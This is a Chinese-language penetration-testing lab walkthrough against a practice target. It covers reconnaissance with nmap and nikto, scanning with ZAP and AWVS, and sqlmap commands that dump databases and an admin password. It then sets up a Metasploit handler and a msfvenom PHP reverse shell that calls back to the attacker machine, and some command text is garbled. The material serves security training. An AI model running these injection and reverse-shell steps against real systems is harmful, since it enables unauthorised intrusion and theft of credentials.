SQL注入漏洞介绍
SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
任何一个用户可以输入的位置都可能是注入点。比如urI中, 以及http报文中。
实验环境
攻击机:192.168.253.12
靶场机器:192.168.253.15
信息探测
扫描主机服务信息以及服务版本
--nmap -sV 靶场lP地址
快速扫描主机全部信息
--nmap -T4 -A -v 靶场IP地址
探测敏感信息
-- nikto -host http://靶场lP地址:端口
深入挖掘
分析nmap .nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;
使用浏览器打开http:/ /ip:port/敏感页面,查看敏感信息,找到可利用的位置
漏洞扫描
web漏洞扫描器 owasp-zap
OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用程序过程中,自动发现 web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
在kali中,打开zap工具,并且在url中输入对应的网页地址
这边有三种小旗子,红色依次降低表示存在高危漏洞,中危漏洞,低危漏洞
漏洞扫描器AVWS
功能强大,专注于web安全的漏洞扫描器。
SQL漏洞利用
针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有sQL注入漏洞,可以直接利用。毕竟sQL注入是高危漏洞,可以直接获取服务器权限。
使用sqlmap利用SQL注入漏洞
-- sqlmap -u url -dbs --batch #查看数据库名,--batch表示系统自动的判断运作中的Yes,no
--sqlmap -u url -D "数据库名" -tables #查看对应数据库中的数据表
--sqlmap -u url-D "数据库名" -T "表名" - columns #查看对应字段
-- sqlmap -u url-D "数据库名" -T "表名" -C "列名" -dump #查看对应字段的值
也可以直接尝试sqlmap -u url -os-shell 直接获取shell
步骤:
1.复制该链接,作为url
2.使用指令查看数据库
发现有2个数据库,一个是information_schema,为系统自带数据库,记录着数据库中的一些信息,不需要使用
3.该使用photoblog,查看具有的那些表格
4.因为需要后台登陆的密码,发现表名为users 用户表
5.查看对应字段的值
看到对应用户为admin,但发现密码为密文的形式 hash5 对应的密码为P4ssw0rd
获取到密码之后就可以登陆了
登陆之后上传shell反弹权限
攻击机启动监听
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/ x86 /meterpreter/reverse_ _tcp
msf exploit(handler) > set Ihost攻击机IP地址
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
生成反弹shell
msfvenom -p php/meterpreter/reverse_ tcp Ihost=攻击机IP地址Iport=4444 -f raw > /root/Desktop/shell.php #-f raw 表示查看对应的源代码
生成完文件之后,启动监听,使用msfconsole打开控制台
后续步骤与 添加链接描述一致。